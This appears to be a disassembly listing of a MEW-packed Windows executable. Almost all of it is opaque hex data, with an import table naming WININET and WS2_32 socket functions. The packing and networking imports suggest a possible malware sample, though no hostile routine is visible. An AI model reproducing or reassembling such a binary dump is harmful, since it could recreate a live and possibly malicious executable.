		dd 0FFFFFFFFh, 4011E8h,	494E4957h, 2E54454Eh, 6C6C64h
		dd 746E4980h, 656E7265h, 74654774h, 6E6E6F43h, 65746365h
		dd 61745364h, 0FF006574h, 0F0FFFFFFh, 57004011h, 335F3253h
		dd 6C642E32h, 6Ch, 1100h, 0D00h, 0
		dd 57801000h, 6F534153h, 74656B63h, 41h, 9600h,	3200h
		dd 400h, 0C00h,	100h, 1400h, 1500h, 0B00h, 3800h, 7200h
		dd 6E00h, 800h,	1600h, 300h, 0F00h, 200h, 1200h, 7300h
		dd 0A00h, 3300h, 700h, 1300h, 0FFFF0900h, 11C0FFFFh, 4C4F0040h
		dd 54554145h, 642E3233h, 6C6Ch,	80C70000h, 0
MEW		ends

; Section 2. (virtual address 0000D000)
; Virtual size			: 00014000 (  81920.)
; Section size in file		: 00014000 (  81920.)
; Offset to raw	data for section: 0000D000
; Flags	C00000E0: Text Data Bss	Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Uninitialized
; Segment permissions: Read/Write
__u_____	segment	para public 'BSS' use32
		assume cs:__u_____
		;org 40D000h
		assume es:nothing, ss:nothing, ds:MEW, fs:nothing, gs:nothing
dword_40D000	dd 0FF41C933h, 0FFC91313h, 0C3F87213h, 7C801D77h, 7C80ADA0h
					; DATA XREF: __u_____:0040D018o
		dd 0
		dd offset dword_40D000
		dd 40012Ch, 40950Fh, 40C8BCh, 40103844h, 52454B07h, 334C304Eh
		dd 64382E32h, 800FF06Ch, 87746547h, 45437361h, 9E6F8B72h
		dd 0FF43771Ch, 4D33E7F7h, 78081975h, 87531C41h,	6C694638h
		dd 6D4754F7h, 0D0E53FDh, 10412842h, 0E3CF2717h,	74506863h
		dd 451BC322h, 6EF17078h, 7699DB64h, 6FA2BC69h, 53746756h
		dd 14FF3E2Fh, 0A74F7367h, 6225D9AEh, 2973C791h,	57591447h
		dd 225C16A1h, 29547B1Fh, 9F5C706Dh, 1128B452h, 1C989FACh
		dd 0BCD0704Fh, 6F43A1AAh, 8E5D79F5h, 8ECD88D6h,	0A5AA6037h
		dd 0AA764550h, 197E1285h, 64CD4DE5h, 3846B39Bh,	0E47E4CB3h
		dd 5379BAA1h, 340E5066h, 39644163h, 3EC7732Ch, 613D4C20h
		dd 73611DD3h, 99657551h, 66085010h, 0DB6D7894h,	77E6633Eh
		dd 12CA2671h, 81541B79h, 0D8B47587h, 56524C1Eh,	69487310h
		dd 9F452903h, 9D6CBC3Fh, 4D146162h, 795064CAh, 95051084h
		dd 0A8747375h, 0A41B60Ah, 0B646EE5h, 85AFF011h,	0C14A6854h
		dd 8C359A64h, 0D079114Ah, 0AAA1252h, 0D06F28A6h, 53384632h
		dd 0FA015F4Ah, 0D16A624Fh, 4B6AFF63h, 481222D6h, 903F8354h
		dd 0EE6334C9h, 0FF65EB24h, 9C350A24h, 6C750445h, 76362634h
		dd 96EAFB12h, 1F4DA41Ch, 0E46D614Eh, 8D335A47h,	84441C24h
		dd 0AE431CB2h, 53B95992h, 0CEE5E9A2h, 239B492Eh, 7A57207Ch
		dd 0C8418D1Bh, 0A24570E9h, 1E951A34h, 3D7C1F24h, 6D28CD54h
		dd 32650B46h, 95760C4Ch, 0D14B2864h, 0C902222h,	0DC450A57h
		dd 70859307h, 79A5BD37h, 2666CB14h, 69357C44h, 8CD26C51h
		dd 0AC6B8C54h, 3FF6280h, 3C011D0h, 4B05355h, 57E60199h
		dd 506FF6FAh, 0F5788677h, 766F9237h, 6579678Eh,	111A4964h
		dd 20734115h, 4B7863A2h, 50AAC091h, 704D777Fh, 66527CD8h
		dd 41184732h, 10C162h, 0E6564441h, 64495650h, 0C9414356h
		dd 6316C1DEh, 68245323h, 1067157Bh, 777C9B90h, 0D932FC66h
		dd 0CE72872Fh, 0EF902694h, 68396752h, 1121F0BDh, 0F48F524h
		dd 56D6A45Ah, 86842284h, 0FE361065h, 1F1E9B41h,	0D04DDB53h
		dd 7229D296h, 81A11041h, 800A51CDh, 7FA62D48h, 723E24FDh
		dd 142497A5h, 0D73F1BA1h, 341AD09Bh, 0E8C75644h, 3BF60D8Bh
		dd 1E901422h, 0D10DBBDAh, 5D6CD144h, 0F8B3A810h, 0B76D7529h
		dd 4919304Dh, 34520B37h, 7F11C810h, 5897485Ch, 0B6DDB798h
		dd 13600EB5h, 41E24AC8h, 5A49123h, 4342444Fh, 64032236h
		dd 484A0917h, 22029128h, 2B1E500Ah, 534D8804h, 52435608h
		dd 5F806254h, 696357CCh, 8C784315h, 0D41A44D5h,	708004B6h
		dd 0E62158D9h, 393B68CBh, 242E261Dh, 0B6F8A3F6h, 69554826h
		dd 0ED4CFE3Fh, 5D6416D6h, 0F4580856h, 0B9776645h, 266321AEh
		dd 23913404h, 5EEC6824h, 926E5672h, 628D4234h, 6E092554h
		dd 4F2D3E24h, 0B24F07A2h, 3F10CE02h, 59403222h,	58913963h
		dd 0B15ADD49h, 696F561Ch, 570D1C49h, 0D56B2099h, 0DDBB4D65h
		dd 33A55868h, 326625CDh, 5776BF94h, 0DA8C34E6h,	0E12EE3F7h
		dd 2A690366h, 33260D4Ch, 8342F34h, 0ACEE9036h, 0FE088302h
		dd 72FD0A7h, 33228C90h,	88D5855h, 634C668Ch, 4C4B9133h
		dd 0A8FE9F80h, 0BFFD6170h, 2B6BA826h, 66A1315Ch, 0CEFC5F22h
		dd 55234030h, 58A94541h, 22B4235Ah, 495719E8h, 2745044Eh
		dd 1B97C8Ah, 3594513Ah,	99272534h, 641E6312h, 0F08A3A63h
		dd 32923F2Fh, 11E3385Fh, 6140D89h, 38801001h, 0B9A14172h
		dd 38D656Bh, 9229610h, 0C044432h, 14120189h, 0B481524h
		dd 72223891h, 89086E44h, 24031216h, 122FDC0Fh, 37377389h
		dd 7093332h, 94A1324h, 40C0448Bh, 41454C4Fh, 8D545355h
		dd 80C786h, 411FDFh, 8613883h, 4490074h, 6A5756FFh, 110E8905h
		dd 41018B5Ah, 0E6C10871h, 3B60FCCh, 40F70B38h, 1A73894Ah
		dd 0EA750101h, 56C35E5Fh, 33043083h, 79B057C0h,	0D2078508h
		dd 55532D7Eh, 0EED1DAF1h, 0E3BE0C8h, 2B0472FEh,	81010C83h
		dd 0D8020DC7h, 8B0C1073h, 79E7C111h, 0B85C32Ah,	0A00342FDh
		dd 5DD9754Bh, 0CA68BE5Bh, 0B6440490h, 0C601845Ch, 0C139B70Fh
		dd 0AFD80BE8h, 7AFEC7h,	73F83B08h, 442893Fh, 2CF0666Ch
		dd 0A3BF70F0h, 9E868Ch,	305FFC1h, 398966F8h, 3D308B65h
		dd 4D19574Fh, 9618740Ah, 0E5418139h, 1EA0B7E0h,	80710A36h
		dd 393FEB92h, 0F837F02Bh, 9ADBBF20h, 0DD068D6Fh, 5EEC181h
		dd 80BEC62Bh, 2A6ABC42h, 80985801h, 5051ECCDh, 0C7DA9953h
		dd 0B0DB851Ch, 1A7E58F9h, 5D89560Fh, 855E1FCh, 98C3348Dh
		dd 31E83E0Ch, 302FF45h,	0FC4DD4C6h, 5EEB7518h, 0CB8B46h
		dd 0E2D35F5Ah, 0C9C22B5Bh, 46E104E4h, 8978773Ah, 0FF33F807h
		dd 3D5C7D39h, 0F05A7DD9h, 207E19FCh, 40127856h,	0E81E0C42h
		dd 6F7F066Fh, 144FCFh, 4509E0D3h, 3B4730FCh, 5EE27C4Eh
		dd 5F148B62h, 5342B05Bh, 7599A156h, 7EEA040h, 906576D0h
		dd 0F989811Fh, 0A5FCA094h, 8C8D0903h, 38D0238h,	0FEC5E8C0h
		dd 83D8830Fh, 0F03BA0CBh, 51812B75h, 288AD1FBh,	6C323D7Dh
		dd 6BC2FCC8h, 0A301468Dh, 0DC303D5h, 97E847DEh,	0BDBE85Dh
		dd 0D1EBD80Ah, 3B032ABEh, 6D117DDEh, 0EC38244Bh, 718B7BE8h
		dd 8A5F0A35h, 997E5EC3h, 0C8FADA56h, 6360E8F1h,	75C08531h
		dd 1A44FA16h, 94570C24h, 5A031780h, 30774C8Dh, 31E3E830h
		dd 7D8B3BEBh, 24E3ED7h,	19243F2Ah, 4B1B7557h, 4D42B610h
		dd 8C8C4148h, 37BCE8C7h, 8C00583h, 56A11EBh, 42048E8Ah
		dd 0A9E85AB3h, 841013A4h, 0BEE3675Dh, 0AD534041h, 4589C850h
		dd 5D73D87Ch, 93307A3h,	0D04620E8h, 4C03D475h, 553B17F0h
		dd 0FF65800Eh, 1B9BB903h, 6EB87638h, 0FB8B4462h, 0ABF34A80h
		dd 0F633045Fh, 83C04D8Dh, 620EC4Fh, 58DC66F0h, 0E00C06F8h
		dd 0B4FD4BE8h, 24D8F639h, 1C43B976h, 83CEC0F8h,	558D03E0h
		dd 0E1C1C00Eh, 0A4C8EC04h, 4BE4A1F4h, 41A00021h, 490F73A8h
		dd 2551FB81h, 6B81BC44h, 40C98D04h, 60834F24h, 188C12FEh
		dd 2EC10E6Ch, 7DF44D89h, 0EBBA19F3h, 0E50A260Dh, 3EED405h
		dd 0A3ECBF5h, 0E070FB06h, 56227428h, 2BE85501h,	10048AC7h
		dd 8788B39Fh, 3F75FFD0h, 46CE57EAh, 1ED43E65h, 3424260Fh
		dd 748B60B3h, 43C06886h, 0E8CC0677h, 0B64E923h,	71883D10h
		dd 4DE46C7Ch, 8A33E88Ch, 6366584Dh, 8073E845h, 45C72F0Dh
		dd 2C410DE0h, 5917FCF8h, 0BF85EE83h, 221F1D42h,	0E0E83298h
		dd 52828531h, 0CE413F75h, 0D110040Fh, 0E84382CFh, 7518A2C8h
		dd 7AB866Bh, 0FF81EE8h,	2448CF9Dh, 0B893A5Fh, 0E988CF2Bh
		dd 1A7B2665h, 0B107D088h, 3CB74AF8h, 0E9021BFCh, 0A5219741h
		dd 0C68E10B0h, 144E0575h, 6A27EBECh, 7645C888h,	0EBF01870h
		dd 8FA8DA09h, 0F3DC5B8Eh, 0C55EC12h, 98FEDB67h,	2FF47528h
		dd 0A6568F2h, 0DB55DA5Dh, 45694C5Ah, 0FD7E1281h, 55E9F82Ch
		dd 85B6BFA6h, 0DC6D3C59h, 0ADF20CC7h, 27067524h, 664207Ch
		dd 20A35ADBh, 0E8340A60h, 0F80C9192h, 4C7C9704h, 58243E03h
		dd 0D4519DD9h, 726E706h, 60188445h, 0FC774503h,	4D7C2141h
		dd 8341C88Bh, 0E7ECF9D1h, 1D497F01h, 0F0D302CFh, 1A7D0E28h
		dd 8B52ADC2h, 2B46C0D1h, 4B5EC2C8h, 8224055Eh, 0EB260156h
		dd 0E7518D21h, 5D35997Fh, 35231EFBh, 0E945EBF8h, 9B356A50h
		dd 8011A621h, 9680D8EBh, 0FFF8547h, 7EA38984h, 2A02F624h
		dd 0E876E9A0h, 87E0C248h, 0A328808h, 0F4D6C142h, 0FB47AF25h
		dd 0C443166Eh, 0A83B057Eh, 9ADB72D8h, 0C0CFF103h, 0C09B820Fh
		dd 5A5E5B6Bh, 4100C933h, 74E82CACh, 0E8C8FE06h,	0FBEB5102h
		dd 0F20FADDCh, 0ABC11C2Bh, 3B04C083h, 87E575CAh, 3048DE58h
		dd 0C3h, 0B0000000h, 25230000h,	0A0770041h, 10000000h
		dd 47120040h, 0
		dd 0FFFD6F00h, 0B4547DFFh, 871721A3h, 16821FAh,	0E3C651CEh
		dd 19C13D60h, 3FD1AA6Ch, 22CC4C59h, 0F1FD665Eh,	25DA94C3h
		dd 526C0047h, 4A924CAh,	118AC2h, 6421CED7h, 0F9892B5Ah
		dd 427FFC68h, 53EA7736h, 29A76D1Ah, 0EF1F9BB0h,	95C440A8h
		dd 8C5141BCh, 321121B1h, 0BFD67659h, 4918A186h,	4D97645Ch
		dd 0A56E1485h, 0D9163E9Fh, 5C00EC94h, 0D3C3CA66h, 0B7711C76h
		dd 0AC4004A1h, 0F57DEF18h, 6266A862h, 582C1E4h,	9F99735h
		dd 0EF14EACDh, 0EB7B54BDh, 1B5BC526h, 96F46F0Ah, 0A8088531h
		dd 427D939Ch, 42957E8Bh, 0D4EFAB9Eh, 0C75828DAh, 0B3B5B3B4h
		dd 0A1A54725h, 863AC4ACh, 7FDBA1B9h, 0D5F0DE9Ah, 0F7BA623Ch
		dd 55F9E433h, 0C9D3C649h, 1D1B8205h, 4DD0D386h,	5E9F5B22h
		dd 0CEA32069h, 0E84E6A74h, 7767FA07h, 68D14907h, 1A9D428Dh
		dd 8A57207Fh, 1387F01Ch, 8D47FF2h, 0BB1E8F6Bh, 0A06BB451h
		dd 70EF274Fh, 0A833C198h, 2AD659FDh, 0FE24417Dh, 0C73D9792h
		dd 0F6D89929h, 744BFA68h, 1BF122FFh, 796DF1C9h,	63640BB8h
		dd 7C4FF3D0h, 937A49FCh, 1B691899h, 5E4B022Bh, 0BAD1DF52h
		dd 0F7F04AC8h, 0CAFA9FECh, 2B834AFBh, 0F826369Fh, 0B49BF129h
		dd 4B1FC96Eh, 7DC7B259h, 5F06D77Eh, 9F2C1C81h, 0AA57304Eh
		dd 2E308AF2h, 76B9F29Ch, 0EAFEEA55h, 0DAFE036Ah, 25B29F65h
		dd 8F34FEABh, 56E6F107h, 0F3567B6Bh, 29AD1B00h,	968C0F2Eh
		dd 4CBB94AEh, 27D49319h, 7218651Eh, 78247129h, 0AF897C46h
		dd 5AA70F88h, 0C201F873h, 0FD38A1C5h, 0C79D583Dh, 54C58474h
		dd 0FD7DD85Fh, 2A91B71Eh, 0FD9F7239h, 26A118DCh, 0E611BFDCh
		dd 0B26E72D6h, 25505F3Dh, 1A958B6Ch, 0BAEBD411h, 0CFD4F046h
		dd 55387F06h, 0CA7C363Ah, 3B11BC85h, 2A5CEFDDh,	5060B341h
		dd 0FA7B71E1h, 9EA9DADFh, 14711CA0h, 59136DCh, 0F8DCED22h
		dd 6599E9CCh, 0F2F6001Bh, 0C617B59Dh, 9B9C7C9Bh, 7CF34B85h
		dd 46FE6F70h, 402E9872h, 645B9275h, 4C7DCC03h, 22BBB99Dh
		dd 0A31AC3F5h, 0B7890104h, 1DFD45FDh, 3A5FC9E7h, 0C29A0914h
		dd 0FF9442F0h, 8BA15FDEh, 0BAD029C4h, 0CBC06A04h, 747A12D6h
		dd 59F2EF8Dh, 0DBEE0F27h, 0F77F00D9h, 4C0D29A1h, 1F162E52h
		dd 272EFB49h, 9E4340B5h, 72AF8FBAh, 0D9171EAAh,	117F5F6Ch
		dd 761796D2h, 319D324Ah, 4DC45814h, 310E798Dh, 0B9E40337h
		dd 0B7BBC2B8h, 112816FEh, 0CC95CF06h, 27234157h, 98812BEEh
		dd 0E0B463C1h, 0B15F0E99h, 2E79D05Fh, 0B5CA5FCEh, 77E80BF2h
		dd 0A887FAAh, 3F5245D4h, 304848D4h, 3A153D18h, 0AC355F2h
		dd 0B77E128Eh, 69866660h, 0DF1FF844h, 800EAC65h, 0CFEC8F0h
		dd 0D29A9CEAh, 0F247F710h, 0B6E49445h, 0BE73F1CFh, 0B8D0BAF8h
		dd 0BDF2BBD2h, 28C749EEh, 9EBE99F2h, 0F3634E98h, 410EA98Ah
		dd 0BCCB9AD7h, 8C4AB487h, 9DC0CE05h, 4FD9DB93h,	0F86CE465h
		dd 2103F62Fh, 523D9B67h, 318D53EEh, 0F3096523h,	9D1D18EDh
		dd 59B4F78Eh, 35BDF837h, 0BEE71547h, 0B20E6BE9h, 73CBE7C2h
		dd 0AEDEDEA2h, 8A8B2E24h, 51F9A88Dh, 17CA7444h,	0E34F02D7h
		dd 0FC94AA1Fh, 0F401BA7Dh, 44CC19A4h, 0F4C4D058h, 0E8EA9EF6h
		dd 66F3D25h, 951D8A7Ch,	0DDF2C96Bh, 172C0F2Ch, 16FBEA7Dh
		dd 0B71457C6h, 6B22CCEBh, 0CECF289Bh, 3D869228h, 0EB848D65h
		dd 877985C8h, 668307A8h, 1359D28Eh, 1FDB1F1h, 6F2FF2A6h
		dd 9AC72333h, 334C120Ch, 670EA796h, 5284CF21h, 4A115666h
		dd 0BC695417h, 812C6185h, 5B33ABF8h, 0AA8DB04Eh, 2085ADA1h
		dd 0ADF79E6Bh, 73D97842h, 93FC02B6h, 8CC5E94Fh,	4D73498Dh
		dd 0CA0F4E95h, 0ED14FEC8h, 0E8C3B442h, 8E4C573h, 0EBC94B95h
		dd 0E7172CE6h, 82E66646h, 4F797532h, 0CF020AC0h, 1326EB36h
		dd 6E45EA58h, 80BF603Bh, 215B50A7h, 0EDB9E5DCh,	7C09CD52h
		dd 1748ECC1h, 81FD5CBFh, 77A5A7A2h, 0D88D9249h,	938B998Ch
		dd 2E190E2Dh, 0D5AA6E35h, 0D5DDE4C0h, 0F12940EEh, 470CB0E8h
		dd 3218A480h, 5EF7800Fh, 0B8E8AFB9h, 0B9EB14EAh, 0B7C3C95Ah
		dd 4DA5E4BDh, 2DC4BA79h, 0E871AF5Bh, 0D1D1194Fh, 431B2016h
		dd 2CA3810Ah, 0D0CB3FAFh, 0C5D71D1Bh, 0D812CCCAh, 0E7A07D5Bh
		dd 0E0B22310h, 0E04B3277h, 5D2C0778h, 15241B5Fh, 0ADE3Ch
		dd 6FD72B8Bh, 3D9DFE33h, 15B2165Bh, 95480DE0h, 0C8E08CF4h
		dd 40A2F542h, 1227496Eh, 64342690h, 5D4D3625h, 0B7A7FB73h
		dd 36C10510h, 9E51E002h, 0CC2F05DDh, 0DC74EF3Eh, 4D848F5Eh
		dd 0F221C7AAh, 8AF0DFF3h, 3D79EBB4h, 0AF06F779h, 56B2C112h
		dd 0A02C66D7h, 0C6E9C8FEh, 0CCA71AC9h, 5726CAA6h, 21B2531Ah
		dd 0A6C8F119h, 0EC7C800Ah, 25D0D18Eh, 2A67BD50h, 0EA1473ADh
		dd 0C51FF9AAh, 7980D499h, 6068B127h, 0D6C5F4EBh, 1033EE0Eh
		dd 0B0328A57h, 0A99E901Ah, 6383779Ch, 0E08AE69Bh, 7588DEF2h
		dd 825CEBD3h, 76D88854h, 631B9971h, 69526E75h, 0EBBCD668h
		dd 43A37964h, 0A7B3B327h, 913AFBA2h, 7AFB2F9Ah,	83931ED7h
		dd 9C834679h, 9EC8CA29h, 6E3B8524h, 3BBD33B8h, 24EBB93Fh
		dd 7F90A31h, 6EED2541h,	8ADC96DFh, 48F1F045h, 51E18117h
		dd 1ECB5C82h, 8FBCF3EAh, 7DFC64DFh, 0A4159A6Fh,	0AA13CB3Fh
		dd 0DA3A5350h, 5863060Eh, 4E598B72h, 6D961B22h,	4A84588Fh
		dd 1569117Dh, 570F2883h, 5187A195h, 52B16F72h, 3EEA17Fh
		dd 803951E5h, 9EFD97D6h, 486EFEEFh, 0DDE702F2h,	0E96C2C26h
		dd 72C0D908h, 8CA5A2Ah,	7DFA33F5h, 0CBF12EFh, 0BB2035A2h
		dd 324A48E1h, 1BE1EADh,	8B0B051Eh, 8CC81103h, 511FC9D1h
		dd 2FFC95B0h, 16A3FE90h, 0F128B3CCh, 37A962C1h,	0C87A7F76h
		dd 24630417h, 657BE9A4h, 0AE55FF7Fh, 0B7A16EC5h, 0FB11F360h
		dd 1E62A73Eh, 0DC5B525h, 0B886F0FAh, 9D210114h,	89BF0291h
		dd 29653262h, 0D2977495h, 0FF2EEA92h, 7E012FE0h, 0D057BAF2h
		dd 0DD2715DBh, 0F7831C1Eh, 0CC13F0A6h, 0E102BF71h, 0DF8777F6h
		dd 0D7849964h, 5A337B01h, 0EC756DABh, 8E3C3054h, 99EC9165h
		dd 6D039649h, 0F861DF3Bh, 687E2AAFh, 2A2EEB0Dh,	16C12230h
		dd 0FA971875h, 0BA1DD37Dh, 0C606C891h, 646A77E5h, 9C400A40h
		dd 83177872h, 0CF8AFD71h, 0DFEA58CDh, 1181F376h, 0B759ADD5h
		dd 9D92BBA4h, 415F0197h, 21C424F0h, 93CF8D2Bh, 0BF7F7CE9h
		dd 0ECE15B15h, 0D4B982FAh, 836671C0h, 617A21Bh,	0E1CC40E8h
		dd 70BBECFh, 0C29320FDh, 0F46D17F6h, 9EE78505h,	0F808914Ah
		dd 73439A4Ah, 0EBE164EFh, 4747A4EFh, 0C7073DA0h, 0A9AA7853h
		dd 31CE15B9h, 0EC7D78Ah, 29D6AF38h, 0D6C9A9D5h,	5C99145Ch
		dd 8BB42EF0h, 7F48EEE9h, 968DF4E6h, 231305D4h, 32701C67h
		dd 795D6371h, 817DACF8h, 0EAEEBA50h, 28FA0DF0h,	0AE9F5E4Fh
		dd 5E1B779h, 724F4239h,	0B9DB4183h, 10F73564h, 7BC6D744h
		dd 0E77CA69h, 0A887AE87h, 2648064Ah, 2FC6BA23h,	13AC5961h
		dd 0B05FAB05h, 38DC14D1h, 9EB7B5FFh, 0EB9E196Eh, 72890662h
		dd 0DDFF96FEh, 5EBF78EAh, 8F7545E2h, 316489CAh,	1DFF5947h
		dd 0F52EE832h, 6C820CA0h, 19D564F6h, 4B0C2232h,	78D0051Ch
		dd 58A9C80Dh, 1FF6178Fh, 7A2B02CBh, 5B32E9D3h, 641A6F2Dh
		dd 4287D2F5h, 33D7BFC4h, 0E2502F78h, 883FDA29h,	231B229Bh
		dd 66921CF9h, 41A925C2h, 9AD7B2F8h, 0E5D7C2BFh,	961E7B63h
		dd 0A7BCC600h, 9BEFCEEDh, 0EAAB52AFh, 0E7DE7F87h, 3C4EE229h
		dd 0D0DA87CFh, 4B69E05h
		dd 71DEF5F2h, 0D6867C4Bh, 18CC12E3h, 0E80297D9h, 5BAEB8B5h
		dd 7EB85AE0h, 168C6A54h, 786A6FBCh, 10C0D325h, 83F4CABh
		dd 4AC7ADF8h, 5B0D1A1Eh, 1AF1D6C6h, 830D538Dh, 0D3448A84h
		dd 0B4771Fh, 0F0ACE818h, 2A1B714Fh, 720B51F0h, 0E8E39720h
		dd 0F48A91D7h, 0AA138FD1h, 0C9D1806Ah, 8D09973Dh, 2332D93h
		dd 0D2E5AB7Eh, 4C2CA9F2h, 2C90F279h, 0E4C4D0C7h, 1F146ED8h
		dd 0E5E0B284h, 95F666B6h, 23244AC4h, 93E46B70h,	152D2763h
		dd 2F036493h, 0CE7C1EABh, 0DA6D4E42h, 36091432h, 7025CA2Fh
		dd 56A8646Ch, 0C6F2D270h, 0EC48658Ch, 0F5BB9451h, 6D9E2372h
		dd 0A40EB339h, 92702CA0h, 0C7B7C1DDh, 2A523EADh, 7D650622h
		dd 9987E5B6h, 273EBAA0h, 3405452Bh, 53B19654h, 0C18407Fh
		dd 0D71BA97Dh, 0B4A3BFE2h, 0E31634DEh, 803907EDh, 9F16A4A5h
		dd 893C98BDh, 0AFF892BEh, 0A73DD3A8h, 71A89571h, 4287E285h
		dd 0D5418C27h, 26B33954h, 9774F26Dh, 123BEB7Eh,	2F74445Bh
		dd 5FC69EAEh, 0AA6228h,	0B132E88Ch, 0C333D1D7h,	3EF6E551h
		dd 660BC949h, 0C178FCA7h, 819C7B56h, 0CAA98862h, 3640D332h
		dd 0E80EAFEFh, 78454A1h, 28516D71h, 8EDA9571h, 0E18F1D4Ah
		dd 0ED66A62Fh, 0AF8AE480h, 292AD42Eh, 0C844F81Eh, 9EE12BE2h
		dd 0A1D0AE4Dh, 8B6630ABh, 0C21C6F33h, 7AAA996Eh, 0D950519Ah
		dd 7B7F2C79h, 0DB2B096Bh, 0F95C2F79h, 4580C0E7h, 6C2999F7h
		dd 4D763F5Ah, 19FE1967h, 0BB49B77Fh, 7FA5AD98h,	0C067377Ah
		dd 0ADAC5B15h, 926DF001h, 50D5CCB0h, 63A6C5AAh,	2BC32111h
		dd 0DA23568Ch, 0F8389DCFh, 4686EF9Fh, 5C7980DAh, 0DB8E5567h
		dd 6A68B69Eh, 0E431F782h, 8D863193h, 0AF7E386Ch, 0AFE36D65h
		dd 22B6CA71h, 58FCA7A5h, 0C13896ECh, 7D277DA8h,	3352786Eh
		dd 0C6132C7Eh, 34EE2DFh, 41A97DBBh, 11674889h, 85CEB45Ah
		dd 0C7A2E684h, 0F307332h, 3782BDD6h, 0D877B3D1h, 4878E8E6h
		dd 6210903Eh, 6C1E1E8Fh, 1CBE23ABh, 0FF67D6E0h,	3CF5EAB2h
		dd 2756855Dh, 71ED9B83h, 0F5F361Bh, 6263FDA7h, 858B96F7h
		dd 844E19F5h, 0C20BB526h, 837E4F37h, 6FB3177Ch,	45AD743Ch
		dd 0FC430530h, 92DA6C8Ah, 2F0F4DD0h, 6190AFBBh,	2CFF0CE9h
		dd 39D71F31h, 0D1060E5h, 0CA472AFFh, 75CA856Ah,	0AA383473h
		dd 4BA55CFFh, 8F9C0CD3h, 0FCBA6799h, 23610F3Eh,	0ECAC7878h
		dd 0B7787F7Fh, 837E03A6h, 0C7B8D1F8h, 52E71C7Ah, 33633E3Eh
		dd 0D14D73C3h, 2BA2EEB4h, 8525E5D0h, 0E36EF50h,	3C64C06Bh
		dd 416B1AD5h, 0EB580125h, 791BC052h, 0AE943D2Eh, 612DA64Dh
		dd 23467B61h, 0E16E74B7h, 34527568h, 0F2C7F39Fh, 17EB2B04h
		dd 81DBAE14h, 91BC6F8Dh, 0B22E21C1h, 21726DF0h,	95D207C4h
		dd 3A630952h, 5BAB9C00h, 0B8E594ACh, 0EA3E14EEh, 6A3BB7CAh
		dd 0BC66794h, 0A87C8C18h, 78B29033h, 91791A4Bh,	2E43AFA1h
		dd 1222949Eh, 46197E5Ch, 5038846Dh, 0F4541BE2h,	2A45AC98h
		dd 0BA950A2Dh, 0B60A333Dh, 0A00D4652h, 7CA620BEh, 47768C0Fh
		dd 0A0B77529h, 64D3C69Ch, 80677E78h, 0DBCB35EAh, 0B15C98B4h
		dd 2EF935Ah, 19FAF01Bh,	403CEEB6h, 0F5F3A7D0h, 0BA43AD14h
		dd 57D0EC04h, 787BF1A6h, 1D6D349Dh, 0FBAFE3DAh,	0D9811FDDh
		dd 0D7EE4D0Dh, 0D3B37A75h, 1BC6093Ah, 23BF4460h, 0F38FB034h
		dd 0EDE2684Eh, 280453A9h, 331F4AFEh, 7B4A0B60h,	9884B6BAh
		dd 0F6F8C4FFh, 8124890Ah, 611064EBh, 0E4CA15C1h, 27378E6h
		dd 0B964FDF7h, 1F0C98C1h, 7548B38Ah, 167BC6D8h,	0E6867F3h
		dd 0BEA6F0FAh, 679436DBh, 591DE4B3h, 401A97ACh,	5414AFB2h
		dd 0A5B6352Ch, 0F5D38227h, 6864B28Ch, 7A22B307h, 251C4EE5h
		dd 77D69486h, 0AC2DF14Ch, 2E84666Fh, 69909E40h,	9FF60149h
		dd 69FCD09Ch, 0F094897Ch, 16A3C730h, 8EC97072h,	951EC04Ah
		dd 7189297Fh, 22093A8Bh, 42796C0Ah, 408A8F01h, 0BA712765h
		dd 24079F55h, 0FFECBB87h, 97FAE168h, 0A98700Ah,	0D9B9022Ah
		dd 7D7344Ch, 0B30224DFh, 5C00024Ch, 0B1429BBEh,	0C8FD4DB6h
		dd 0ADC8E2ADh, 0A764A89Fh, 0D4B53614h, 3D73C094h, 6DB28A9Ah
		dd 54B5B388h, 0E7CFF0D9h, 42E72C68h, 0C697BBEBh, 0EEED801Fh
		dd 7FAA3D90h, 3760FA4Fh, 3BDB0BD4h, 7815B9A9h, 79889994h
		dd 0D694A54Dh, 0CD35DDADh, 0D4A12733h, 0B42A8DB1h, 3BF35EDDh
		dd 55AF9C52h, 85CB5AD5h, 0D32D4BEBh, 0B0C94CEEh, 343BDF51h
		dd 0D1AB1E19h, 203DF21Fh, 1B9749F1h, 86A469CEh,	183A8792h
		dd 15EDD6D2h, 1C8DE70Ah, 1EB21667h, 0E7EC9F45h,	580B1C47h
		dd 7692A63Ah, 2141D6C9h, 0EB5A2F22h, 7878E0BFh,	6B60DD0Ah
		dd 0B1E59E85h, 0E81B57F8h, 90A3FA57h, 0FAB52731h, 0AD670CEh
		dd 8D333BFBh, 0B19CA3F0h, 26225FCBh, 2FEBBF5h, 0DF8F7400h
		dd 0DC4A6968h, 24020470h, 0AC143C3Fh, 8E3E667Fh, 26ECF096h
		dd 1E895934h, 6C8A6815h, 292358ACh, 7396DDFFh, 3027C4B7h
		dd 44CDCCEEh, 84DF1C1h,	0CD2DBCF0h, 1EA9559h, 35ACF4CFh
		dd 0DC878672h, 5E641E06h, 0F3F85AE0h, 1C2D8FCDh, 600241Ah
		dd 0F1FC601Fh, 770380EBh, 0A3FA48C9h, 0F9446A0Ah, 25FC9CE8h
		dd 178828B7h, 0A56FC818h, 6184D2A8h, 3145313Eh,	38E9DA18h
		dd 233F419h, 529C13DEh,	0FA90A74Dh, 6ED80A9Ah, 9275094Fh
		dd 8B3F16Dh, 0B7FEC3A7h, 50ACD4F1h, 0F1C90D2Fh,	38EE189Bh
		dd 0CC91B945h, 7CF34830h, 45C42C52h, 0D11A465Dh, 84BA1929h
		dd 9999C66Bh, 0C0A9DB6Fh, 68E67FC1h, 3B77839h, 72165289h
		dd 5A617696h, 938B5BFBh, 0F4A19157h, 4B7B2DDBh,	8D7453C0h
		dd 0FAE1B617h, 0FA794A6Ch, 89DC5171h, 0F97831A8h, 0B800CBFAh
		dd 8CCB1136h, 8D540484h, 0F8C292F6h, 40AC2C68h,	0B1D99590h
		dd 0E15F5F80h, 2376F52Eh, 1D1910D8h, 19B306CCh,	8220ABB3h
		dd 114032EBh, 0B69C781Ah, 0E1166810h, 0FD55A998h, 0CA8AFD3Fh
		dd 0AFB4109Eh, 29678F88h, 2C6FAF08h, 768E1F26h,	0CBA2F5E1h
		dd 72548ECh, 197D7CEDh,	7EA1D173h, 0CB8DA281h, 0CFC013Bh
		dd 2DB6A20Fh, 0A99F82B3h, 6ED2271Fh, 83103ABEh,	1C631AF2h
		dd 0F58AE72Fh, 0A97E90E1h, 8B2C9E09h, 271D62Dh,	0F778A5D7h
		dd 0F472E64Ch, 6D91F951h, 718A42E6h, 12E67783h,	0C9A1B90Eh
